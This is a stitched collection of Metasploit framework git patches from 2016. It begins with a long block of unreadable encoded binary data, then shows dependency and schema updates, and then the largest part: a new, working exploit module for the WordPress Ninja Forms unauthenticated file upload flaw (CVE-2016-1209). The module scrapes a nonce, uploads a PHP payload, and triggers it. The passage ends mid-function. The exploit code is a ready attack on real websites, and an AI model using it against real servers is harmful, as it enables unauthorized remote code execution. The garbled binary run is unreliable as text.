zpMbiY)pb|!0aM$aCHojt=~C5j%ni@Dk7?|Qip)R`S>OTCrHtrhwE)I#j0XMH$Wtj; z6un0(E{iwrrb}B28F?*$95uJ(4LIZ`juZpUiywn92*8Mr`GtBMO8J=-O$3A*qw#*Q z>*?)NE7xF@w*|tK0~oTRl&QijuIW-yUU%yb=_8l*ylALy)o{3xmc36uQ2MGt_YGZ&iU6!!VJQ?{I*^X2*_^ZwJANR8Ib0|LvgARUz`xwi zgFwMKZO3CZzlMDPD|PV4lB1OO)%A*)K_e<_C6?#v${itBLl=?i9kN7}Sg&d6fg#^5 ztZVfr<#oK;VB1_eVj%;Uu>-Yn=FOzV&B{IA`?`|Pt3EOSLUs|Ptnd91mP1QHnrf*; z`BHyeum_a=%@`A(E+Mj&4O5SX)U`6=TeJn>l?Kx{te&C;;I3R*N+_d_z+ zpOX!UPeI0b?$Y}aKdx5Mg*T5Lt!WZV!^-jO9$Am}t*P-;oNvT+mxrq*_pLn$gjl;& z{1z$c3@Bim-gmS6XcT(j5-pB7R9LHSCfukH8d1=X)Wqx8+-|B(P=_;$RtrWILb*-T zuHMvK=Nn=4r=lk)i&!E6%Z>zd&I4-}?)ppvWFvBi>lfD=<A>$7*u4=PKatFI`=fnjjvo^ z9|1lGaxj!M)-_mT0~v%MIUM{T+x7GNdm)|xtWM&x>vomd6TUG{2!=ae&Gar&>Nw3O zLthbSVA>S8sBM}4CSpBmam@(*yu6|GZM&C%}43p^*-bQf-r^YxG{zV ziKYGQVU%fiMLE*OAgT_pbH#Wtu}gcvwd6?vP+EYQJUdX|9&507qW%`ai`fn5U*gi? z(~6n+J>odao=NOY8~hy^$09c|2UDDOcE&ym_~nK|j1q!{mWpKS^u}B1r*dKj9f*4S zJTZF!bs|CqEzgo@H-s`KraOQY?3kz}x>`(Y|Kvbxi`#(26?}U)W5E2Cyn!o^?HY-j zcMOnb06m|XrCoUkXwooU%ib+NvuNgW!}ci{qyVC++H@&eW}{HZUDIx zwNjJAVlF728T+}2THH@F@GfmmY}od?cJK3pA+BeTx&0q!6FB!iFne5t*lb6-o<;*I=XpRD2{@}xiL;jn;aN(pdp9`7W(##vKp(1gW z2|5YATIi$zgMEin>Fk>4T5;T*XO=Ip*?xa{EPo#>yAlP9X#>6Yn)2Gdx|@*a$xpPQL}ZWl$)sW4s5y2 zwX$sQpM=I?N=>dqOBmmTi;P__nbgD8;EQYVsgzMQV_-WMG#gd>$~?d+LV19k$NX5K zN%_Lfj$mF7=w98l=Hh<1wpfc5xxMOz8`86 zsH4|^8-NOe^H24>V0K2}T>028bZx9KvJlnCz=K|uRh~h z9qCE+{n0Vu+Q1O(5imo&i>~mq#3f=GRS#zo2I7O>l0L)nBbeCGwah`-wuw|w=O7{} zJLWJ%Q8CX&)r=t43H0 zSf3h5W&aW0lI#IKH8~Pr_61Hx7ndb>pxqtjHzdEvIj+d5->5;qVAc@d#krsM;vA$GZVNY5sn$cQFn8!oix|K-p8Rzl}cf}E7X_Noe> z$X_~@w^)I?JHn7)?J>La{*d6AK5UPW#3Gasru5saT8ox(MbGv}J#GPb5i&o&IvO`i zM~NRJXqSHbA!EQZQbe1MQsd1wfhwmc=!P@+TCYTM3){}YtnpQoK1%*-P~Z}%TrD~xBAVc-e>bsslyKifr3V$g*a{R_D6o*j3?gN{ohVO(6yQs7zR zKz)SFZBeqZK0)(FT_>R(yLFcLdP)#d+R6YUP=KcV@@1ac?Ecu^cvt6nmv96t%vyv=C(tiG2&QYoCawCb7R7RSa+(#@D@ ztWeL=6SJ2+b#wFE;O+9gaX1ksM@l*Ih=QF#F)%?a(fDAm<>iEX(L>1$janf?g_upn zC0}k!=j~;z?dRhD3Dc&MMIk_*rSY?-7M=2xV~3b>e)oi$Qar+khH`y3wDn0|mi!y= zIl+=tpX~#nNdd*{oWYCAm{C%UTVgqsd@TyUSQPs6R(WmfiRlAfeOeqSZSK=Dabp?& zD!asGQz^mtF(?k+10aD6id$(yvk#byTJK^4nGCuH`S(gTv1P^wF5-Zu(TS^i?RghP z$BvbCIbsPmaRNoH5B!OKtCsID@4=VRT8LAP66)8K;~}+ND)@FBA7ytYhGPl&o+^f(@K^)=hqpLavG|{9c=1Qo3!C8-?86*=gFjpju7& z-Jm^kVuD3{vC1Qq=W@6$`K-MCyAyoInREEWRl2;JUTVz3K&VnrG+eKrswJz&O0|Gv z^YvRLJUMl|5(v~oj?p2EMzxl-pnE*wiL7`MZcp=XDB-gccc4ui$MWCN$09ijQEmsZ z@~`ziqm-%%h?k65N#K@}g;U2SC7MC5ZEl5{R6qSjoc zLe*L^1ee*QE2nYmRIhDVq=rfd!!? zK!zKm5ADXdq6LViF5QN2T^Fz*7=w7FV|h&g?xnJa>;PjFh^8-m3s2hC&w=rZM1QdW z{A?UvhxqH3E-?Gm8!_~6Y(jwk-=>|~5#xKwgPF|KFRGttz_p_VcB%{EVYLfO!EFNX z3g+SQ#fmyPCHrm+x!SKEt33j+sy}p?1d+A^F#Lp>KAmCs2qV*Z1*YdQ=s~4_;TvoN z|K~+#IX)H~=qt=P<`Y{x^Z;`a`h|n^3}Mk+9-HxAWCT|rPQiI9Mvn8Kb^;;Ysf>`o zdWf4=FDiKSm#DuV?}ihYNEzxh)>)}R!QiexAI?g@OvDzxOulp{36xb+j$w5V*jT$r z3x&pwht+9<_rS$3%675Udua+-Ga{~}$hy(f?l-=ua8sjSB{`g8Dx~F4PFHD6|0HIa zn+#c+7$%sK&s{GM55_$l$kf-~w!oPND>_VUIu;vSjMk!IrnaJr@KC7B15oF)G}nfo z_#P&QgnsC?!pwP#(9Yr9;Pv`4WwX`!!O^3RoO~&PGk?^oS6fhS2I?E2x1AP?YmV+}$q4UXrYBufy5@gdqK0BOj>QAk!Bpe)s3XdCJ-e{pwdEjIQxYb&AokZ%@vlnb3&9nXDOo$?e&&Y%jeOm63 zV3E(VQ{!U7iMsUV@9UT+oLkx5;OOvD#lw_F zkP;fDyIxsj%_1Vo(<6z8JA+)1(ph>%lVT#KPQ~PAB_8efx4B^B`J@#p^*D3|pFC@k zWBCbm3*pwyLbgg-cfPOsj<*6oW&d^(_Zhm7j&B=<(-X+@e0kg{RUDBi%@t#D&72?>Fc-RLiO#O zds7QCtxuT^)5#$i-IWK~NqSQ`n!5HQH+!Ph;*q+0)W+jj=sdSvg1Z<(4_4Oo;YN4C@_2HcbR*=#x;>gxRUcyk&@1P0$3)SKb{AH;9SKrD7;R+&sUiAh{flE{YO`-eB*4jkI zLefCNW<9-JjDri!C4Om2HycHfxrr_RutF2VnC<%}qV~$vc{igLZ?>7Oc;In`D?ZsN zv`1EO?!r0jCZJGRo`*(f(_So>jww49Q-sY}wu?vo5rdUZK3&8$ zRb66$FS2bFkFV`etULc0BquD#*Rqi~=PD%g47eBD<_dys%~o!66@Vz`=!G=w_H&sy z>W)z5Wd@C|{XnFbZ|Wg0qQjQ3u57u?ndqnI9AkfE@flKQs4I#$X_8GKAClQ1D+J@w zpjiDdIG(+}iKQEhG?M$)KB_WkNo{Vg*bQgiv)5oiufRUI<5~a>^PJWacF^@lTL7t& z82C<@%_+eq(bR&`s43}qHiKXeSjmL1%Z@?4+g8|fEkS(kaJ4;4S(fwZZik50Dm~C? zM*&-Pcow6TfBzlg-s(&)Yc(S&EIuTn#9g1OWm+iuP*6i!Bh^%U&OPMb8Rii9R+k}i_w(BlM)m#`jt zUV^^e^Nj{cw3Ou0K#!PGenP$BD7C!&11arKflmF^7=EnY6k%^mdJ)}n?QQp{y=Hks zw6ylH9{UYaPS56~dqnfgBmF4FUU`F?V)D}?uds4_PA9ix$N!&44M_?4Yhr#K*xJ9I zg80wOjX#q{<;wqVZdCsQySJf+e{uYr%#I3zj-l~|Vn9+;%zazmiC9hx9c+V-=9rnC z;j6LF8KIrc>!{GRJ!@<*;unaz3@7-?ASY0r@FGUyg?@_`6>2i>a#HvlTse>n-}R|{ zUn$5_mh|~?J-Z-HIhHo@q^nyM{9gCaw9QF}YJJ888A?^))%mIv$BN%c|Lj?W3Z}yd zRfO~R=#p86j-38Z@VjbSqV0m^eI~t+3FzC_88+gS4)EM)d-dceQ3t_N^*o1i#@Jy$ zUkZR^VQed=T55>0%If~DEmvzLB$RpqG**aDn*DAFwt=)?lwlIJ+x39JcDQNE7-XLT zwcU=FJ%R8~#gVQw7*jbo(BV2l9`Mn#KkoX>VqZqgn{jeV)p|T1Q3#^FUH*B@W;LhpDjPr=ntfn)PWl_%IFH~F zPWU%tSQyz<-!rk*|JUAG$3?Zge|%x-j-^{dBxFHFMNmRQkVcg5?vh3ULAp~A1p!66 zLqt+qNf$(vkdp2a_#N=-;<;Y0zwh67ma{CJo%d_%%sDgj%;$;KdjlEH8{GN2w%fki z`-tAYpCGTHc546njJ1DU5ylBMe(Kk*54P3NGUBgGV(wq#{jeFlhZ3V3m-5-SSF$%N z%}`TXKj~9>TWKe|E8;>@6)<9|{K)Cr>og*~gb5hVS&@d-=UL^!&*{Wo2y9@XuYjZQ zpI0woTRPLgAi?prutIZ?#cXbqzgz}&pQMU*5LnV)$RD5P`Q?DAEnB&`1~|h4JbIi2 zejjQs8QSYPn^~KD-!OaI%JS;B|L~p$KL54A)NbAg$3yS(Og+#o$&YnZ^e4HLq|{QD z&cJBN%1e5sU|4d$#^2glm%KQpQHTP6JpWVE`Kd8|g|2o2G)&T5+-#q>+j}!;X(~8z z8d+1@uNzaf;u3`V`6tOp6VK#^yw%$D z+3taO8U?j-v_#K~bV!c5&sA`}S<*PGlOpy~(fdvL0)~=yB}W8_kcQ;JuJ-;Gx&oog zdeT17h5UUsXk>t9i3$S(iKj-&PC1$ySsC#hy&tXQ&#B1=)0~IBqS&Ep{6H5zPj#R+ zhQBc&_kNCz>BY5H#gs^snEsFumc=}5?mhbW*89 zo8v4KSv$#5L-FZnIv0iZ);{(|zjoMeGn206)u-*vne97WNg%8y#hl!vHT7onSgj_J`+8}!6a(&tL}EvT(^7vB0gJ&^+egUxf}Dk+B7#T?MYRS!Lm!% zv}+Awj(eUHLY!2gXE8v_AHM;E_@^eD)rmLn?8)63;VGbgW~y#UsO~G#S!=ODL$j6g z=nj50Dw(Ve^a?dPCxiLpv>6SLp68e;-Zvko4SuLC|M0Qag31M58tY9Me^=foOSB2g z_y}xPM9xy!VyOB$x`*F$^T8X_Ci)tA8B3Rqn6VY={7_AVJD!@NiUr~_)*1NM(T9;H zx+o_oo^G-prmMu?PP!x1uSD;C3CsMwANyyTv}D2&rUvD1r^|7wboeVfP2u@Ef>7WP za$oy8*Ue)R&hSWRXE4nL-?%Vu>&q_B{{DvY5~6rfTWGs2Y)W8%^U>wqc?8eAa4J;C zYi})lN?ylnb^Fm3!NOX1yfCLNCOKlv^Ig~#vdS0Fw?j-jK3*S(d*4D#8}Z(!>Tu$k zPL;x23%$tF+77D1LGg*AN2HH5~(*v)wqj@?t?5SOYg*}O*slN$ZXbg1<(5y zCx*SiA1$<+)8(#d7*xp=EK9^AG3=@qH*C=h;bRf@3a4i>RD5y2a1`N5%hxt@^{zYR z8dF)-XQJ>>OZ8J)4Ot=WA0!lB4=r`>Yjr(sH1@h1CY!EF7BO)Bgnq>`M>2MTI#ol= zbc+x>2~Df-MO^&*4ou8+%%XL0(c~dV>!M1L&8i&uM!{mVtNDql163vOX1Do2xRDXE2QR(QX~eXR8y2-6uFfA_ zwAeZ*^taJ?OQBPFvq_z9y4~OfU$nJQgFKuGQ(vx&{-#k%`;0jADHXbm5)Z=!wxUYP zH?>W8&-ry#Jbc9MBWkl~GczRuw(A``>SF9G71;~>%ifzB&s+}0G0RoGoFR?Qu4-S| z4V>Z*6n$@*OWzzfd4oqaypz>ib5mBz)HjiZnw%t8$%O#>TrsX*cVU6))MR;)LcF-j z=N%~gz_(!&M}qGYqlhB?Q_)u;3x1MrNoP9E5Zt}9pEY^ddN8oLhp&^UQ?tQEXUA~E zoJ`1+e6<&XWT|sE?hwyb2jui)L?sH@o*y&BW$$T7cMZ7oV-qID96 zD|wLA#%H97$0(1JP<5l@N)sxtuq}s!79q4%^@I7k>g8tV7|mwSO~I$9-6FaTeMAez zi@vnE`w`C$m!nP52}Gw8MopuIw1y1(_b7U0$6bQgYjVA$(#vGsYzwxSFfW9K-g&Dk z1B)_4rMMKN-GN(S&NE}Ws&E})VzfaKP1Wog@zD(-q+^zAYCR~tqSdQ?W&ee&wn6Fh zU5xBB$9zPUoZ4*JJc-RKCeuDuU#dR)*W~6y8)3MDM5Ybg$__*HcHJ-P+}=&nTy@P; zc^Qg;IeO?A?+er4G`YGomVZ}yJA^3a4xA!Z_*(lHdyd+W(Y)2#b$4xrP2ZrQjr(Nz zqm{8`pDa||YCb)~-+ORr8o?m_G=L>{yJ>)VTTpB=xEwBBv&_cE9X=Q@`am^H0P|*S zksGOUw#^+Cud!#Jnd45U^wVyd8`UDOv}Vvcy^Ol>)P1`dmxdm8i(%4o79cFp zv>gWW&RU2lEI+W8do`R@QtkF~s?=>h72#g7RGRGS$~~OzGXLva$-DW=$7g{>I3r+# zC@uJI3c8PmsL0w3!SP-a4%{Is5#!<1H?bW!5n$L|e`0vj zDTqxfq$Nh`vJy|Y+8hn@*3gb+Qu~|IL>_a~m{&HAqg@8#o9O(5WxOln_nAoY#r1E@ zp!y>$!d@~pj}at`5BEHat71|lOD_*PTV~&yh}+?j%SGu_8`jA0D>OkOE!$1^waPL^ zXf;5I7$H5uB6|G|JTBPkRfaEmYP;s;Mbdr2-mi*5sNJ#J2fmtey=qY&Vc9S|J*pHj z(Hk8(zBtJS*RA7yE1%s^nJQ8f%Av>SF{|2n#}n=zk=FAXLXn-m^x3v|XpgQU)rDmr zu9rgKk3u6mvV(i?E{;|&)x`K^daSLXNu`_h)8sXmN-g~Q-QllXb~WNvf(@k@{C4w* zv#+MddthJ5_AW1cE5Oxc-WJ#^^M>byQvZ2knu=2^nA1+O6qhEndFndyoX)&TO}aHU zOSDD6w8*G6&oBE?mz(VgLzu6x=&eg!DhOBA3)X4$@8n{s)q|ennZVXmb%#VnL^3KJ zE$Kvf&)l+ngPvbKfkiRNmQGm3fW4Q#Q#j`N;JS&@8tdiI=EoGH55@Bv*p0t5J(M)5*!Ls6ih;Bi#)j4U|ANff4ptrG>6LlcBGD%c zCW#n)Qp%J;E&X+X*=Ir}g_SO@@jZL!#W9y`FUq=t)e4PEb2-+ClZ~W-?M?R%n&N(K zA(X<|6?_Y5WwpSw+jqT8D=1$i1>&HgW22*E!|-wOVgK)N zPzxc(f<&M|peQFGsKh8xVw8hMK-m_8f)1qiFu{KX6jUIM7?@btIJm$UN{Jw-C{QRW z8uT#Lz_&et^AI#*bP^_B5e!mAJdYwH`ETiZK_`8v$!_wX%apnMSn`9eiQgQ8&`<_iVY891QCXy{D57$hQ! zn0j`kC-}UvV4{(!g>~4>XOx!6^zFNG$XU*gvMwKH?I>q|mNB3IDQ7=2hRoM{2p*t@ zj!FzAhFpQ{DW?UoL;gGdD}(>B4L}bDe^%S4#3iN)0{Q_sFpvcHnf*{GKI-faHlOiG7 zF->Du<}BZvAY{rAQjE{YiN|Mk2|?p-SsT9#{cxA-s*(FSfoz&3Sxnn<_XF!oh+>4u z&@+AMz0bueE&l4~MquNb%&@BH6qQ?*YD13v7p`O_lF~2 zF1wohA#j`_>9PVCi;lr{_|sX2S4G&_?xX?}yM)mK=7UM>Dk^U;)bEeTX0D#DV9FCX zueE!%*uBr|wy|04$gI22vqBWg$HU~@6$pt)(lD8}(W>{hE%xdnA8}BI;%tJ7(kmFZ znx0`g(U0rHinqfBr4Mif14QXBP!P4hyqD9$n!|t5JIB)OV;ju=HVV0uv(n{{?){#! z%ByOGxj0pK^vDnD)61{h2Uj;v^mZ?b)$C#;Z%|0TDFb_<;WrA}+kaGXj(Yl* zM#_$^mPQVTRfpGcjlc&^DLncz(Ajj~lUq!Y1y;|<>HGzSBZg^4*z^g>_^{FTN)%7$ z73sA2TXTkIp$8)Qd1x3jP9RNnPhX6%jn^RdO6_mAB1|oPV^+5G7gp2H;VX zd6^;YL+bF^4aM9fVXV`%5&RXBfe7@{YcLaya-Hy`+fPVoE1EV|SKY&=+N(GQ=>c^x z`^y#b7op6#J((@r%{vp;ZB!U~G3>eC$qXpl_IB=PoCmcVMu*RwfF}ed+lbk!MLqr? z%DVJX0Io80OD9k`m4{@a$vYsMk1BKKLe@S0>eV~mr9*yIk8dY#h_C)Z;8&Pa`4Z==6s5-k(oo`dk?&&eFKY#HR8`kdY5NJ^tp z$ee0JSyeA?((W{0KLDxl7g!5f=hA7XE2-L1ch7p|m#H{8*y?v_VG}X!qgr7v+9S?) ztuvbUA;e_G#jA{KK9Q#esGPr7Tcn)+Ivp@rhyn%+M1X$&kB25bTie41`JZ4u(At4e za%`aFVUs-fgc7w$Jd(eKNe$X)_BKeox!$lfA|YoupMkqMrPvT%!1A(C)Z1{hQ&FD; z;~&t~x*Bz|P~-a(L!;HQI;=^odItOB16*MeI9B-A(ulwgmJe8NU1aXB3UTjL$5g#T*g$CcV~@Zo?eG1 zKJ*T!V4r95Rm{;CIOVyL*I2i1(rfV*V+akoL5 z%T7(jtvS7_CXn@0)p)8MT;|;swU-e^=>n2ym5V8!x7#YC@b*@ zQ*5Um#msZv&(ua|<(E6O-rWo(R0l4$Ea0*tK7L6V*w`EWcTIh}o(|t*qC{+f9Y_9) zG8+uk3*6#UX|lnsWiAh{k!qFANsK7Bs+&S`_covOt9Dk;VJ$X9hg0-y7jpSPDLG5q zhywLtcgNJFN;|un-H7EBb?KCS$kavrsS8Zy7#NhaSv6@|Li1`bVDm4r8IfumnNDfO z>RN6SNEc9$ z_}G(22aMp(*2Zisc%QC3Av5y;XCck=LYE{bW*lr4`=3mY-sx!YJcrDj!GFTpi(wOE#a5e!Dz76ZFw`g`;K1KPM9c(@_7OXrvnS z@5nzF2N~s`kiY4D{xZ>EonmBh&;py>ekA(4YT&VUcT79*m*jtL(eA+7<`42ewrHea z@9&D^=PLB3`4ciy1ozL$_kkJoe@`<~SQbnM%d;ZOIh5`fg6aNjHISn`fEtiU+1{tXgG4Yc3CmE$qo(Y8@A4lGiE#5MB% z9(PpLU>tbsJQC-5?)SK(HVMZ4b3>oK_zT>zOXyp1B6rGy$>9B_$b>En{DOR}7?1iA zFb=#c3yGr^{ypxf(*xtc8&{Ax39;YfzID%F9@tzS$zzoKJ@4p70>*(YRgt(gncw4% z?s#Av*y;<3+f?{H?x<4$zJQ@%;}IlO<;FKC*pviJ0IwM$36C^D z$pWn)f=S@@AS4N2`x^ Date: Tue, 8 Nov 2016 22:15:19 +0000 Subject: [PATCH 106/157] Add full disclosure link --- modules/exploits/linux/http/dlink_hnap_login_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index a6139ac796..217293c4d6 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2016-6563'], ['US-CERT-VU', '677427'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'], - ['URL', 'FULL_DISC_PLACEHOLDER'] + ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38'] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target) From aeeefc46da38e081c642388ad6c1e2a9aadcfff0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 8 Nov 2016 17:31:33 -0600 Subject: [PATCH 107/157] update gems --- Gemfile.lock | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d79a8ca954..fa81146a37 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -89,7 +89,8 @@ GEM minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.4.0) + addressable (2.5.0) + public_suffix (~> 2.0, >= 2.0.2) arel (6.0.3) arel-helpers (2.3.0) activerecord (>= 3.1.0, < 6) @@ -156,7 +157,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-credential (2.0.4) + metasploit-credential (2.0.5) metasploit-concern metasploit-model metasploit_data_models @@ -169,7 +170,7 @@ GEM activesupport (~> 4.2.6) railties (~> 4.2.6) metasploit-payloads (1.1.26) - metasploit_data_models (2.0.5) + metasploit_data_models (2.0.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) arel-helpers @@ -195,8 +196,8 @@ GEM network_interface (0.0.1) nokogiri (1.6.8.1) mini_portile2 (~> 2.1.0) - octokit (4.3.0) - sawyer (~> 0.7.0, >= 0.5.3) + octokit (4.6.0) + sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) packetfu (1.1.11) @@ -214,6 +215,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) + public_suffix (2.0.4) rack (1.6.4) rack-test (0.6.3) rack (>= 1.0) @@ -232,10 +234,10 @@ GEM thor (>= 0.18.1, < 2.0) rake (11.3.0) rb-readline-r7 (0.5.2.0) - recog (2.0.22) + recog (2.0.23) nokogiri redcarpet (3.3.4) - rex-arch (0.1.1) + rex-arch (0.1.2) rex-text rex-bin_tools (0.1.1) metasm @@ -301,8 +303,8 @@ GEM rspec-support (3.5.0) rubyntlm (0.6.1) rubyzip (1.2.0) - sawyer (0.7.0) - addressable (>= 2.3.5, < 2.5) + sawyer (0.8.0) + addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 0.10) shoulda-matchers (3.1.1) activesupport (>= 4.0.0) @@ -319,7 +321,7 @@ GEM timecop (0.8.1) tzinfo (1.2.2) thread_safe (~> 0.1) - tzinfo-data (1.2016.8) + tzinfo-data (1.2016.9) tzinfo (>= 1.0.0) windows_error (0.0.2) xpath (2.0.0) From 129fa20bc13d6321bf6d5cee0480f97444c2fb79 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 8 Nov 2016 17:40:32 -0600 Subject: [PATCH 108/157] update database schema --- db/schema.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/db/schema.rb b/db/schema.rb index 1819bccfe1..d6fb88b30e 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema.define(version: 20161004165612) do +ActiveRecord::Schema.define(version: 20161107203710) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" @@ -320,7 +320,8 @@ ActiveRecord::Schema.define(version: 20161004165612) do t.string "jtr_format" end - add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree + add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree + add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree create_table "metasploit_credential_publics", force: :cascade do |t| t.string "username", null: false From 5d5a4baaf7ce25d5e706c36cae8bcf7e9e177bb2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 8 Nov 2016 17:42:42 -0600 Subject: [PATCH 109/157] back out rex-arch to avoid conflict with arch fixup PR --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index fa81146a37..ae9cedbf8c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -237,7 +237,7 @@ GEM recog (2.0.23) nokogiri redcarpet (3.3.4) - rex-arch (0.1.2) + rex-arch (0.1.1) rex-text rex-bin_tools (0.1.1) metasm From 77bacacb9c089f7b93c2b46ed0459bf5e19454c8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 9 Nov 2016 20:34:19 -0600 Subject: [PATCH 110/157] Land rapid7/rex-exploitation#2, Fix heap_spray method's return value type This fixes #7520 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index ae9cedbf8c..37bd4960ba 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -250,7 +250,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.1) + rex-exploitation (0.1.2) jsobfu metasm rex-arch From 8cd9a9b6708c4a175d5175879169188dc8014a51 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 10 Nov 2016 11:17:09 -0600 Subject: [PATCH 111/157] Deprecate wp_ninja_forms_unauthenticated_file_upload wp_ninja_forms_unauthenticated_file_upload actually supports multiple platforms. Instead of using: exploit/unix/webapp/wp_ninja_forms_unauthenticated_file_upload Please use: exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload --- ...ninja_forms_unauthenticated_file_upload.rb | 176 ++++++++++++++++++ ...ninja_forms_unauthenticated_file_upload.rb | 3 + 2 files changed, 179 insertions(+) create mode 100644 modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb diff --git a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb new file mode 100644 index 0000000000..51af361a24 --- /dev/null +++ b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', + 'Description' => %( + Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain + an unauthenticated file upload vulnerability, allowing guests + to upload arbitrary PHP code that can be executed in the context + of the web server. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Golovich', # Discovery and disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2016-1209'], + ['WPVDB', '8485'], + ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] + ], + 'DisclosureDate' => 'May 04 2016', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ninja-forms', {}]], + 'DefaultTarget' => 0 + )) + + opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] + register_options(opts, self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def check + check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') + end + + def enable_v3_functionality + print_status 'Enabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'upgrade' } + ) + + unless res && res.code == 200 + if res + fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.") + else + fail_with(Failure::Unreachable, 'Connection timed out.') + end + end + + vprint_good 'Enabled V3 functionality' + end + + def disable_v3_functionality + print_status 'Disabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'rollback' } + ) + + if res && res.code == 200 + vprint_good 'Disabled V3 functionality' + elsif !res + print_error('Connection timed out while disabling V3 functionality') + else + print_error 'Failed to disable the vulnerable V3 functionality' + end + end + + def generate_mime_message(payload_name, nonce) + data = Rex::MIME::Message.new + data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') + data.add_part(nonce, nil, nil, 'form-data; name="security"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") + data + end + + def fetch_ninja_form_nonce + uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}") + end + + form_wpnonce = res.get_hidden_inputs.first + form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce + + nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce + + unless nonce + fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH') + end + + nonce + end + + def upload_payload(data) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("Server responded with status code #{res.code}") if res.code != 200 + end + + def execute_payload(payload_name, payload_url) + register_files_for_cleanup("nftmp-#{payload_name.downcase}") + res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + + if !res.nil? && res.code == 404 + print_error("Failed to upload the payload") + else + print_good("Executed payload") + end + end + + def exploit + # Vulnerable code is only available in the version 3 preview mode, which can be + # enabled by unauthenticated users due to lack of user level validation. + enable_v3_functionality + + # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any + # page that contains a form generated 